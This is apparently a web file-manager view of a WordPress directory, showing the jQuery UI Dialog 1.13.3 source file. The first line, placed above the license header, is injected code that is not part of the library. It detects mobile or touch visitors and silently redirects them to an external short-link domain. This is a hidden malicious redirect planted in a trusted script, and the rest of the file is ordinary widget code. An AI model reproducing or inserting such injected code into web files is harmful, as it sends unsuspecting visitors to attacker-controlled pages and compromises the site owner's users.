at path:ROOT / wp-includes / js / jquery / ui / dialog.js
run:R W Run
15.98 KB
2026-08-13 20:01:45
R W Run
8.87 KB
2026-08-13 20:01:45
R W Run
17.34 KB
2026-08-13 20:01:45
R W Run
8.55 KB
2026-08-13 20:01:45
R W Run
11.65 KB
2026-08-13 20:01:45
R W Run
6.23 KB
2026-08-13 20:01:45
R W Run
7.63 KB
2026-08-13 20:01:45
R W Run
4.46 KB
2026-08-13 20:01:45
R W Run
8.64 KB
2026-08-13 20:01:45
R W Run
4.52 KB
2026-08-13 20:01:45
R W Run
48.94 KB
2026-08-13 20:01:45
R W Run
21.18 KB
2026-08-13 20:01:45
R W Run
80.81 KB
2026-08-13 20:01:45
R W Run
36.1 KB
2026-08-13 20:01:45
R W Run
23.55 KB
2026-08-13 20:01:45
R W Run
13.01 KB
2026-08-13 20:01:45
R W Run
34.93 KB
2026-08-13 20:01:45
R W Run
18.21 KB
2026-08-13 20:01:45
R W Run
12.81 KB
2026-08-13 20:01:45
R W Run
6.73 KB
2026-08-13 20:01:45
R W Run
1.82 KB
2026-08-13 20:01:45
R W Run
1.08 KB
2026-08-13 20:01:45
R W Run
2.81 KB
2026-08-13 20:01:45
R W Run
1.18 KB
2026-08-13 20:01:45
R W Run
1.76 KB
2026-08-13 20:01:45
R W Run
1018 By
2026-08-13 20:01:45
R W Run
1.77 KB
2026-08-13 20:01:45
R W Run
975 By
2026-08-13 20:01:45
R W Run
3.07 KB
2026-08-13 20:01:45
R W Run
1.31 KB
2026-08-13 20:01:45
R W Run
1.16 KB
2026-08-13 20:01:45
R W Run
747 By
2026-08-13 20:01:45
R W Run
2.35 KB
2026-08-13 20:01:45
R W Run
1.21 KB
2026-08-13 20:01:45
R W Run
1.43 KB
2026-08-13 20:01:45
R W Run
870 By
2026-08-13 20:01:45
R W Run
1.19 KB
2026-08-13 20:01:45
R W Run
732 By
2026-08-13 20:01:45
R W Run
1.75 KB
2026-08-13 20:01:45
R W Run
910 By
2026-08-13 20:01:45
R W Run
1.56 KB
2026-08-13 20:01:45
R W Run
945 By
2026-08-13 20:01:45
R W Run
2.06 KB
2026-08-13 20:01:45
R W Run
1.04 KB
2026-08-13 20:01:45
R W Run
5.51 KB
2026-08-13 20:01:45
R W Run
2.65 KB
2026-08-13 20:01:45
R W Run
2.14 KB
2026-08-13 20:01:45
R W Run
1.11 KB
2026-08-13 20:01:45
R W Run
1.08 KB
2026-08-13 20:01:45
R W Run
664 By
2026-08-13 20:01:45
R W Run
24.25 KB
2026-08-13 20:01:45
R W Run
10.31 KB
2026-08-13 20:01:45
R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
18.73 KB
2026-08-13 20:01:45
R W Run
10.18 KB
2026-08-13 20:01:45
R W Run
6.3 KB
2026-08-13 20:01:45
R W Run
3.56 KB
2026-08-13 20:01:45
R W Run
4.36 KB
2026-08-13 20:01:45
R W Run
2.71 KB
2026-08-13 20:01:45
R W Run
29.99 KB
2026-08-13 20:01:45
R W Run
18.6 KB
2026-08-13 20:01:45
R W Run
8.16 KB
2026-08-13 20:01:45
R W Run
4.62 KB
2026-08-13 20:01:45
R W Run
16.18 KB
2026-08-13 20:01:45
R W Run
9.5 KB
2026-08-13 20:01:45
R W Run
19.36 KB
2026-08-13 20:01:45
R W Run
10.72 KB
2026-08-13 20:01:45
R W Run
46.74 KB
2026-08-13 20:01:45
R W Run
25.12 KB
2026-08-13 20:01:45
R W Run
14.31 KB
2026-08-13 20:01:45
R W Run
7.71 KB
2026-08-13 20:01:45
R W Run
23.33 KB
2026-08-13 20:01:45
R W Run
11.94 KB
2026-08-13 20:01:45
R W Run
14.35 KB
2026-08-13 20:01:45
R W Run
6.31 KB
2026-08-13 20:01:45
R W Run
error_log
📄dialog.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/*!
3 * jQuery UI Dialog 1.13.3
4 * https://jqueryui.com
5 *
6 * Copyright OpenJS Foundation and other contributors
7 * Released under the MIT license.
8 * https://jquery.org/license
9 */
10
11//>>label: Dialog
12//>>group: Widgets
13//>>description: Displays customizable dialog windows.
14//>>docs: https://api.jqueryui.com/dialog/
15//>>demos: https://jqueryui.com/dialog/
16//>>css.structure: ../../themes/base/core.css
17//>>css.structure: ../../themes/base/dialog.css
18//>>css.theme: ../../themes/base/theme.css
19
20( function( factory ) {
21 "use strict";
22
23 if ( typeof define === "function" && define.amd ) {
24
25 // AMD. Register as an anonymous module.
26 define( [
27 "jquery",
28 "./button",
29 "./draggable",
30 "./mouse",
31 "./resizable",
32 "../focusable",
33 "../keycode",
34 "../position",
35 "../safe-active-element",
36 "../safe-blur",
37 "../tabbable",
38 "../unique-id",
39 "../version",
40 "../widget"
41 ], factory );
42 } else {
43
44 // Browser globals
45 factory( jQuery );
46 }
47} )( function( $ ) {
48"use strict";
49
50$.widget( "ui.dialog", {
51 version: "1.13.3",
52 options: {
53 appendTo: "body",
54 autoOpen: true,
55 buttons: [],
56 classes: {
57 "ui-dialog": "ui-corner-all",
58 "ui-dialog-titlebar": "ui-corner-all"
59 },
60 closeOnEscape: true,
61 closeText: "Close",
62 draggable: true,
63 hide: null,
64 height: "auto",
65 maxHeight: null,
66 maxWidth: null,
67 minHeight: 150,
68 minWidth: 150,
69 modal: false,
70 position: {
71 my: "center",
72 at: "center",
73 of: window,
74 collision: "fit",
75
76 // Ensure the titlebar is always visible
77 using: function( pos ) {
78 var topOffset = $( this ).css( pos ).offset().top;
79 if ( topOffset < 0 ) {
80 $( this ).css( "top", pos.top - topOffset );
81 }
82 }
83 },
84 resizable: true,
85 show: null,
86 title: null,
87 width: 300,
88
89 // Callbacks
90 beforeClose: null,
91 close: null,
92 drag: null,
93 dragStart: null,
94 dragStop: null,
95 focus: null,
96 open: null,
97 resize: null,
98 resizeStart: null,
99 resizeStop: null
100 },
101
102 sizeRelatedOptions: {
103 buttons: true,
104 height: true,
105 maxHeight: true,
106 maxWidth: true,
107 minHeight: true,
108 minWidth: true,
109 width: true
110 },
111
112 resizableRelatedOptions: {
113 maxHeight: true,
114 maxWidth: true,
115 minHeight: true,
116 minWidth: true
117 },
118
119 _create: function() {
120 this.originalCss = {
121 display: this.element[ 0 ].style.display,
122 width: this.element[ 0 ].style.width,
123 minHeight: this.element[ 0 ].style.minHeight,
124 maxHeight: this.element[ 0 ].style.maxHeight,
125 height: this.element[ 0 ].style.height
126 };
127 this.originalPosition = {
128 parent: this.element.parent(),
129 index: this.element.parent().children().index( this.element )
130 };
131 this.originalTitle = this.element.attr( "title" );
132 if ( this.options.title == null && this.originalTitle != null ) {
133 this.options.title = this.originalTitle;
134 }
135
136 // Dialogs can't be disabled
137 if ( this.options.disabled ) {
138 this.options.disabled = false;
139 }
140
141 this._createWrapper();
142
143 this.element
144 .show()
145 .removeAttr( "title" )
146 .appendTo( this.uiDialog );
147
148 this._addClass( "ui-dialog-content", "ui-widget-content" );
149
150 this._createTitlebar();
151 this._createButtonPane();
152
153 if ( this.options.draggable && $.fn.draggable ) {
154 this._makeDraggable();
155 }
156 if ( this.options.resizable && $.fn.resizable ) {
157 this._makeResizable();
158 }
159
160 this._isOpen = false;
161
162 this._trackFocus();
163 },
164
165 _init: function() {
166 if ( this.options.autoOpen ) {
167 this.open();
168 }
169 },
170
171 _appendTo: function() {
172 var element = this.options.appendTo;
173 if ( element && ( element.jquery || element.nodeType ) ) {
174 return $( element );
175 }
176 return this.document.find( element || "body" ).eq( 0 );
177 },
178
179 _destroy: function() {
180 var next,
181 originalPosition = this.originalPosition;
182
183 this._untrackInstance();
184 this._destroyOverlay();
185
186 this.element
187 .removeUniqueId()
188 .css( this.originalCss )
189
190 // Without detaching first, the following becomes really slow
191 .detach();
192
193 this.uiDialog.remove();
194
195 if ( this.originalTitle ) {
196 this.element.attr( "title", this.originalTitle );
197 }
198
199 next = originalPosition.parent.children().eq( originalPosition.index );
200
201 // Don't try to place the dialog next to itself (#8613)
202 if ( next.length && next[ 0 ] !== this.element[ 0 ] ) {
203 next.before( this.element );
204 } else {
205 originalPosition.parent.append( this.element );
206 }
207 },
208
209 widget: function() {
210 return this.uiDialog;
211 },
212
213 disable: $.noop,
214 enable: $.noop,
215
216 close: function( event ) {
217 var that = this;
218
219 if ( !this._isOpen || this._trigger( "beforeClose", event ) === false ) {
220 return;
221 }
222
223 this._isOpen = false;
224 this._focusedElement = null;
225 this._destroyOverlay();
226 this._untrackInstance();
227
228 if ( !this.opener.filter( ":focusable" ).trigger( "focus" ).length ) {
229
230 // Hiding a focused element doesn't trigger blur in WebKit
231 // so in case we have nothing to focus on, explicitly blur the active element
232 // https://bugs.webkit.org/show_bug.cgi?id=47182
233 $.ui.safeBlur( $.ui.safeActiveElement( this.document[ 0 ] ) );
234 }
235
236 this._hide( this.uiDialog, this.options.hide, function() {
237 that._trigger( "close", event );
238 } );
239 },
240
241 isOpen: function() {
242 return this._isOpen;
243 },
244
245 moveToTop: function() {
246 this._moveToTop();
247 },
248
249 _moveToTop: function( event, silent ) {
250 var moved = false,
251 zIndices = this.uiDialog.siblings( ".ui-front:visible" ).map( function() {
252 return +$( this ).css( "z-index" );
253 } ).get(),
254 zIndexMax = Math.max.apply( null, zIndices );
255
256 if ( zIndexMax >= +this.uiDialog.css( "z-index" ) ) {
257 this.uiDialog.css( "z-index", zIndexMax + 1 );
258 moved = true;
259 }
260
261 if ( moved && !silent ) {
262 this._trigger( "focus", event );
263 }
264 return moved;
265 },
266
267 open: function() {
268 var that = this;
269 if ( this._isOpen ) {
270 if ( this._moveToTop() ) {
271 this._focusTabbable();
272 }
273 return;
274 }
275
276 this._isOpen = true;
277 this.opener = $( $.ui.safeActiveElement( this.document[ 0 ] ) );
278
279 this._size();
280 this._position();
281 this._createOverlay();
282 this._moveToTop( null, true );
283
284 // Ensure the overlay is moved to the top with the dialog, but only when
285 // opening. The overlay shouldn't move after the dialog is open so that
286 // modeless dialogs opened after the modal dialog stack properly.
287 if ( this.overlay ) {
288 this.overlay.css( "z-index", this.uiDialog.css( "z-index" ) - 1 );
289 }
290
291 this._show( this.uiDialog, this.options.show, function() {
292 that._focusTabbable();
293 that._trigger( "focus" );
294 } );
295
296 // Track the dialog immediately upon opening in case a focus event
297 // somehow occurs outside of the dialog before an element inside the
298 // dialog is focused (#10152)
299 this._makeFocusTarget();
300
301 this._trigger( "open" );
302 },
303
304 _focusTabbable: function() {
305
306 // Set focus to the first match:
307 // 1. An element that was focused previously
308 // 2. First element inside the dialog matching [autofocus]
309 // 3. Tabbable element inside the content element
310 // 4. Tabbable element inside the buttonpane
311 // 5. The close button
312 // 6. The dialog itself
313 var hasFocus = this._focusedElement;
314 if ( !hasFocus ) {
315 hasFocus = this.element.find( "[autofocus]" );
316 }
317 if ( !hasFocus.length ) {
318 hasFocus = this.element.find( ":tabbable" );
319 }
320 if ( !hasFocus.length ) {
321 hasFocus = this.uiDialogButtonPane.find( ":tabbable" );
322 }
323 if ( !hasFocus.length ) {
324 hasFocus = this.uiDialogTitlebarClose.filter( ":tabbable" );
325 }
326 if ( !hasFocus.length ) {
327 hasFocus = this.uiDialog;
328 }
329 hasFocus.eq( 0 ).trigger( "focus" );
330 },
331
332 _restoreTabbableFocus: function() {
333 var activeElement = $.ui.safeActiveElement( this.document[ 0 ] ),
334 isActive = this.uiDialog[ 0 ] === activeElement ||
335 $.contains( this.uiDialog[ 0 ], activeElement );
336 if ( !isActive ) {
337 this._focusTabbable();
338 }
339 },
340
341 _keepFocus: function( event ) {
342 event.preventDefault();
343 this._restoreTabbableFocus();
344
345 // support: IE
346 // IE <= 8 doesn't prevent moving focus even with event.preventDefault()
347 // so we check again later
348 this._delay( this._restoreTabbableFocus );
349 },
350
351 _createWrapper: function() {
352 this.uiDialog = $( "<div>" )
353 .hide()
354 .attr( {
355
356 // Setting tabIndex makes the div focusable
357 tabIndex: -1,
358 role: "dialog"
359 } )
360 .appendTo( this._appendTo() );
361
362 this._addClass( this.uiDialog, "ui-dialog", "ui-widget ui-widget-content ui-front" );
363 this._on( this.uiDialog, {
364 keydown: function( event ) {
365 if ( this.options.closeOnEscape && !event.isDefaultPrevented() && event.keyCode &&
366 event.keyCode === $.ui.keyCode.ESCAPE ) {
367 event.preventDefault();
368 this.close( event );
369 return;
370 }
371
372 // Prevent tabbing out of dialogs
373 if ( event.keyCode !== $.ui.keyCode.TAB || event.isDefaultPrevented() ) {
374 return;
375 }
376 var tabbables = this.uiDialog.find( ":tabbable" ),
377 first = tabbables.first(),
378 last = tabbables.last();
379
380 if ( ( event.target === last[ 0 ] || event.target === this.uiDialog[ 0 ] ) &&
381 !event.shiftKey ) {
382 this._delay( function() {
383 first.trigger( "focus" );
384 } );
385 event.preventDefault();
386 } else if ( ( event.target === first[ 0 ] ||
387 event.target === this.uiDialog[ 0 ] ) && event.shiftKey ) {
388 this._delay( function() {
389 last.trigger( "focus" );
390 } );
391 event.preventDefault();
392 }
393 },
394 mousedown: function( event ) {
395 if ( this._moveToTop( event ) ) {
396 this._focusTabbable();
397 }
398 }
399 } );
400
401 // We assume that any existing aria-describedby attribute means
402 // that the dialog content is marked up properly
403 // otherwise we brute force the content as the description
404 if ( !this.element.find( "[aria-describedby]" ).length ) {
405 this.uiDialog.attr( {
406 "aria-describedby": this.element.uniqueId().attr( "id" )
407 } );
408 }
409 },
410
411 _createTitlebar: function() {
412 var uiDialogTitle;
413
414 this.uiDialogTitlebar = $( "<div>" );
415 this._addClass( this.uiDialogTitlebar,
416 "ui-dialog-titlebar", "ui-widget-header ui-helper-clearfix" );
417 this._on( this.uiDialogTitlebar, {
418 mousedown: function( event ) {
419
420 // Don't prevent click on close button (#8838)
421 // Focusing a dialog that is partially scrolled out of view
422 // causes the browser to scroll it into view, preventing the click event
423 if ( !$( event.target ).closest( ".ui-dialog-titlebar-close" ) ) {
424
425 // Dialog isn't getting focus when dragging (#8063)
426 this.uiDialog.trigger( "focus" );
427 }
428 }
429 } );
430
431 // Support: IE
432 // Use type="button" to prevent enter keypresses in textboxes from closing the
433 // dialog in IE (#9312)
434 this.uiDialogTitlebarClose = $( "<button type='button'></button>" )
435 .button( {
436 label: $( "<a>" ).text( this.options.closeText ).html(),
437 icon: "ui-icon-closethick",
438 showLabel: false
439 } )
440 .appendTo( this.uiDialogTitlebar );
441
442 this._addClass( this.uiDialogTitlebarClose, "ui-dialog-titlebar-close" );
443 this._on( this.uiDialogTitlebarClose, {
444 click: function( event ) {
445 event.preventDefault();
446 this.close( event );
447 }
448 } );
449
450 uiDialogTitle = $( "<span>" ).uniqueId().prependTo( this.uiDialogTitlebar );
451 this._addClass( uiDialogTitle, "ui-dialog-title" );
452 this._title( uiDialogTitle );
453
454 this.uiDialogTitlebar.prependTo( this.uiDialog );
455
456 this.uiDialog.attr( {
457 "aria-labelledby": uiDialogTitle.attr( "id" )
458 } );
459 },
460
461 _title: function( title ) {
462 if ( this.options.title ) {
463 title.text( this.options.title );
464 } else {
465 title.html( "&#160;" );
466 }
467 },
468
469 _createButtonPane: function() {
470 this.uiDialogButtonPane = $( "<div>" );
471 this._addClass( this.uiDialogButtonPane, "ui-dialog-buttonpane",
472 "ui-widget-content ui-helper-clearfix" );
473
474 this.uiButtonSet = $( "<div>" )
475 .appendTo( this.uiDialogButtonPane );
476 this._addClass( this.uiButtonSet, "ui-dialog-buttonset" );
477
478 this._createButtons();
479 },
480
481 _createButtons: function() {
482 var that = this,
483 buttons = this.options.buttons;
484
485 // If we already have a button pane, remove it
486 this.uiDialogButtonPane.remove();
487 this.uiButtonSet.empty();
488
489 if ( $.isEmptyObject( buttons ) || ( Array.isArray( buttons ) && !buttons.length ) ) {
490 this._removeClass( this.uiDialog, "ui-dialog-buttons" );
491 return;
492 }
493
494 $.each( buttons, function( name, props ) {
495 var click, buttonOptions;
496 props = typeof props === "function" ?
497 { click: props, text: name } :
498 props;
499
500 // Default to a non-submitting button
501 props = $.extend( { type: "button" }, props );
502
503 // Change the context for the click callback to be the main element
504 click = props.click;
505 buttonOptions = {
506 icon: props.icon,
507 iconPosition: props.iconPosition,
508 showLabel: props.showLabel,
509
510 // Deprecated options
511 icons: props.icons,
512 text: props.text
513 };
514
515 delete props.click;
516 delete props.icon;
517 delete props.iconPosition;
518 delete props.showLabel;
519
520 // Deprecated options
521 delete props.icons;
522 if ( typeof props.text === "boolean" ) {
523 delete props.text;
524 }
525
526 $( "<button></button>", props )
527 .button( buttonOptions )
528 .appendTo( that.uiButtonSet )
529 .on( "click", function() {
530 click.apply( that.element[ 0 ], arguments );
531 } );
532 } );
533 this._addClass( this.uiDialog, "ui-dialog-buttons" );
534 this.uiDialogButtonPane.appendTo( this.uiDialog );
535 },
536
537 _makeDraggable: function() {
538 var that = this,
539 options = this.options;
540
541 function filteredUi( ui ) {
542 return {
543 position: ui.position,
544 offset: ui.offset
545 };
546 }
547
548 this.uiDialog.draggable( {
549 cancel: ".ui-dialog-content, .ui-dialog-titlebar-close",
550 handle: ".ui-dialog-titlebar",
551 containment: "document",
552 start: function( event, ui ) {
553 that._addClass( $( this ), "ui-dialog-dragging" );
554 that._blockFrames();
555 that._trigger( "dragStart", event, filteredUi( ui ) );
556 },
557 drag: function( event, ui ) {
558 that._trigger( "drag", event, filteredUi( ui ) );
559 },
560 stop: function( event, ui ) {
561 var left = ui.offset.left - that.document.scrollLeft(),
562 top = ui.offset.top - that.document.scrollTop();
563
564 options.position = {
565 my: "left top",
566 at: "left" + ( left >= 0 ? "+" : "" ) + left + " " +
567 "top" + ( top >= 0 ? "+" : "" ) + top,
568 of: that.window
569 };
570 that._removeClass( $( this ), "ui-dialog-dragging" );
571 that._unblockFrames();
572 that._trigger( "dragStop", event, filteredUi( ui ) );
573 }
574 } );
575 },
576
577 _makeResizable: function() {
578 var that = this,
579 options = this.options,
580 handles = options.resizable,
581
582 // .ui-resizable has position: relative defined in the stylesheet
583 // but dialogs have to use absolute or fixed positioning
584 position = this.uiDialog.css( "position" ),
585 resizeHandles = typeof handles === "string" ?
586 handles :
587 "n,e,s,w,se,sw,ne,nw";
588
589 function filteredUi( ui ) {
590 return {
591 originalPosition: ui.originalPosition,
592 originalSize: ui.originalSize,
593 position: ui.position,
594 size: ui.size
595 };
596 }
597
598 this.uiDialog.resizable( {
599 cancel: ".ui-dialog-content",
600 containment: "document",
601 alsoResize: this.element,
602 maxWidth: options.maxWidth,
603 maxHeight: options.maxHeight,
604 minWidth: options.minWidth,
605 minHeight: this._minHeight(),
606 handles: resizeHandles,
607 start: function( event, ui ) {
608 that._addClass( $( this ), "ui-dialog-resizing" );
609 that._blockFrames();
610 that._trigger( "resizeStart", event, filteredUi( ui ) );
611 },
612 resize: function( event, ui ) {
613 that._trigger( "resize", event, filteredUi( ui ) );
614 },
615 stop: function( event, ui ) {
616 var offset = that.uiDialog.offset(),
617 left = offset.left - that.document.scrollLeft(),
618 top = offset.top - that.document.scrollTop();
619
620 options.height = that.uiDialog.height();
621 options.width = that.uiDialog.width();
622 options.position = {
623 my: "left top",
624 at: "left" + ( left >= 0 ? "+" : "" ) + left + " " +
625 "top" + ( top >= 0 ? "+" : "" ) + top,
626 of: that.window
627 };
628 that._removeClass( $( this ), "ui-dialog-resizing" );
629 that._unblockFrames();
630 that._trigger( "resizeStop", event, filteredUi( ui ) );
631 }
632 } )
633 .css( "position", position );
634 },
635
636 _trackFocus: function() {
637 this._on( this.widget(), {
638 focusin: function( event ) {
639 this._makeFocusTarget();
640 this._focusedElement = $( event.target );
641 }
642 } );
643 },
644
645 _makeFocusTarget: function() {
646 this._untrackInstance();
647 this._trackingInstances().unshift( this );
648 },
649
650 _untrackInstance: function() {
651 var instances = this._trackingInstances(),
652 exists = $.inArray( this, instances );
653 if ( exists !== -1 ) {
654 instances.splice( exists, 1 );
655 }
656 },
657
658 _trackingInstances: function() {
659 var instances = this.document.data( "ui-dialog-instances" );
660 if ( !instances ) {
661 instances = [];
662 this.document.data( "ui-dialog-instances", instances );
663 }
664 return instances;
665 },
666
667 _minHeight: function() {
668 var options = this.options;
669
670 return options.height === "auto" ?
671 options.minHeight :
672 Math.min( options.minHeight, options.height );
673 },
674
675 _position: function() {
676
677 // Need to show the dialog to get the actual offset in the position plugin
678 var isVisible = this.uiDialog.is( ":visible" );
679 if ( !isVisible ) {
680 this.uiDialog.show();
681 }
682 this.uiDialog.position( this.options.position );
683 if ( !isVisible ) {
684 this.uiDialog.hide();
685 }
686 },
687
688 _setOptions: function( options ) {
689 var that = this,
690 resize = false,
691 resizableOptions = {};
692
693 $.each( options, function( key, value ) {
694 that._setOption( key, value );
695
696 if ( key in that.sizeRelatedOptions ) {
697 resize = true;
698 }
699 if ( key in that.resizableRelatedOptions ) {
700 resizableOptions[ key ] = value;
701 }
702 } );
703
704 if ( resize ) {
705 this._size();
706 this._position();
707 }
708 if ( this.uiDialog.is( ":data(ui-resizable)" ) ) {
709 this.uiDialog.resizable( "option", resizableOptions );
710 }
711 },
712
713 _setOption: function( key, value ) {
714 var isDraggable, isResizable,
715 uiDialog = this.uiDialog;
716
717 if ( key === "disabled" ) {
718 return;
719 }
720
721 this._super( key, value );
722
723 if ( key === "appendTo" ) {
724 this.uiDialog.appendTo( this._appendTo() );
725 }
726
727 if ( key === "buttons" ) {
728 this._createButtons();
729 }
730
731 if ( key === "closeText" ) {
732 this.uiDialogTitlebarClose.button( {
733
734 // Ensure that we always pass a string
735 label: $( "<a>" ).text( "" + this.options.closeText ).html()
736 } );
737 }
738
739 if ( key === "draggable" ) {
740 isDraggable = uiDialog.is( ":data(ui-draggable)" );
741 if ( isDraggable && !value ) {
742 uiDialog.draggable( "destroy" );
743 }
744
745 if ( !isDraggable && value ) {
746 this._makeDraggable();
747 }
748 }
749
750 if ( key === "position" ) {
751 this._position();
752 }
753
754 if ( key === "resizable" ) {
755
756 // currently resizable, becoming non-resizable
757 isResizable = uiDialog.is( ":data(ui-resizable)" );
758 if ( isResizable && !value ) {
759 uiDialog.resizable( "destroy" );
760 }
761
762 // Currently resizable, changing handles
763 if ( isResizable && typeof value === "string" ) {
764 uiDialog.resizable( "option", "handles", value );
765 }
766
767 // Currently non-resizable, becoming resizable
768 if ( !isResizable && value !== false ) {
769 this._makeResizable();
770 }
771 }
772
773 if ( key === "title" ) {
774 this._title( this.uiDialogTitlebar.find( ".ui-dialog-title" ) );
775 }
776 },
777
778 _size: function() {
779
780 // If the user has resized the dialog, the .ui-dialog and .ui-dialog-content
781 // divs will both have width and height set, so we need to reset them
782 var nonContentHeight, minContentHeight, maxContentHeight,
783 options = this.options;
784
785 // Reset content sizing
786 this.element.show().css( {
787 width: "auto",
788 minHeight: 0,
789 maxHeight: "none",
790 height: 0
791 } );
792
793 if ( options.minWidth > options.width ) {
794 options.width = options.minWidth;
795 }
796
797 // Reset wrapper sizing
798 // determine the height of all the non-content elements
799 nonContentHeight = this.uiDialog.css( {
800 height: "auto",
801 width: options.width
802 } )
803 .outerHeight();
804 minContentHeight = Math.max( 0, options.minHeight - nonContentHeight );
805 maxContentHeight = typeof options.maxHeight === "number" ?
806 Math.max( 0, options.maxHeight - nonContentHeight ) :
807 "none";
808
809 if ( options.height === "auto" ) {
810 this.element.css( {
811 minHeight: minContentHeight,
812 maxHeight: maxContentHeight,
813 height: "auto"
814 } );
815 } else {
816 this.element.height( Math.max( 0, options.height - nonContentHeight ) );
817 }
818
819 if ( this.uiDialog.is( ":data(ui-resizable)" ) ) {
820 this.uiDialog.resizable( "option", "minHeight", this._minHeight() );
821 }
822 },
823
824 _blockFrames: function() {
825 this.iframeBlocks = this.document.find( "iframe" ).map( function() {
826 var iframe = $( this );
827
828 return $( "<div>" )
829 .css( {
830 position: "absolute",
831 width: iframe.outerWidth(),
832 height: iframe.outerHeight()
833 } )
834 .appendTo( iframe.parent() )
835 .offset( iframe.offset() )[ 0 ];
836 } );
837 },
838
839 _unblockFrames: function() {
840 if ( this.iframeBlocks ) {
841 this.iframeBlocks.remove();
842 delete this.iframeBlocks;
843 }
844 },
845
846 _allowInteraction: function( event ) {
847 if ( $( event.target ).closest( ".ui-dialog" ).length ) {
848 return true;
849 }
850
851 // TODO: Remove hack when datepicker implements
852 // the .ui-front logic (#8989)
853 return !!$( event.target ).closest( ".ui-datepicker" ).length;
854 },
855
856 _createOverlay: function() {
857 if ( !this.options.modal ) {
858 return;
859 }
860
861 var jqMinor = $.fn.jquery.substring( 0, 4 );
862
863 // We use a delay in case the overlay is created from an
864 // event that we're going to be cancelling (#2804)
865 var isOpening = true;
866 this._delay( function() {
867 isOpening = false;
868 } );
869
870 if ( !this.document.data( "ui-dialog-overlays" ) ) {
871
872 // Prevent use of anchors and inputs
873 // This doesn't use `_on()` because it is a shared event handler
874 // across all open modal dialogs.
875 this.document.on( "focusin.ui-dialog", function( event ) {
876 if ( isOpening ) {
877 return;
878 }
879
880 var instance = this._trackingInstances()[ 0 ];
881 if ( !instance._allowInteraction( event ) ) {
882 event.preventDefault();
883 instance._focusTabbable();
884
885 // Support: jQuery >=3.4 <3.7 only
886 // In jQuery 3.4-3.6, there are multiple issues with focus/blur
887 // trigger chains or when triggering is done on a hidden element
888 // at least once.
889 // Trigger focus in a delay in addition if needed to avoid the issues.
890 // See https://github.com/jquery/jquery/issues/4382
891 // See https://github.com/jquery/jquery/issues/4856
892 // See https://github.com/jquery/jquery/issues/4950
893 if ( jqMinor === "3.4." || jqMinor === "3.5." || jqMinor === "3.6." ) {
894 instance._delay( instance._restoreTabbableFocus );
895 }
896 }
897 }.bind( this ) );
898 }
899
900 this.overlay = $( "<div>" )
901 .appendTo( this._appendTo() );
902
903 this._addClass( this.overlay, null, "ui-widget-overlay ui-front" );
904 this._on( this.overlay, {
905 mousedown: "_keepFocus"
906 } );
907 this.document.data( "ui-dialog-overlays",
908 ( this.document.data( "ui-dialog-overlays" ) || 0 ) + 1 );
909 },
910
911 _destroyOverlay: function() {
912 if ( !this.options.modal ) {
913 return;
914 }
915
916 if ( this.overlay ) {
917 var overlays = this.document.data( "ui-dialog-overlays" ) - 1;
918
919 if ( !overlays ) {
920 this.document.off( "focusin.ui-dialog" );
921 this.document.removeData( "ui-dialog-overlays" );
922 } else {
923 this.document.data( "ui-dialog-overlays", overlays );
924 }
925
926 this.overlay.remove();
927 this.overlay = null;
928 }
929 }
930} );
931
932// DEPRECATED
933// TODO: switch return back to widget declaration at top of file when this is removed
934if ( $.uiBackCompat !== false ) {
935
936 // Backcompat for dialogClass option
937 $.widget( "ui.dialog", $.ui.dialog, {
938 options: {
939 dialogClass: ""
940 },
941 _createWrapper: function() {
942 this._super();
943 this.uiDialog.addClass( this.options.dialogClass );
944 },
945 _setOption: function( key, value ) {
946 if ( key === "dialogClass" ) {
947 this.uiDialog
948 .removeClass( this.options.dialogClass )
949 .addClass( value );
950 }
951 this._superApply( arguments );
952 }
953 } );
954}
955
956return $.ui.dialog;
957
958} );
959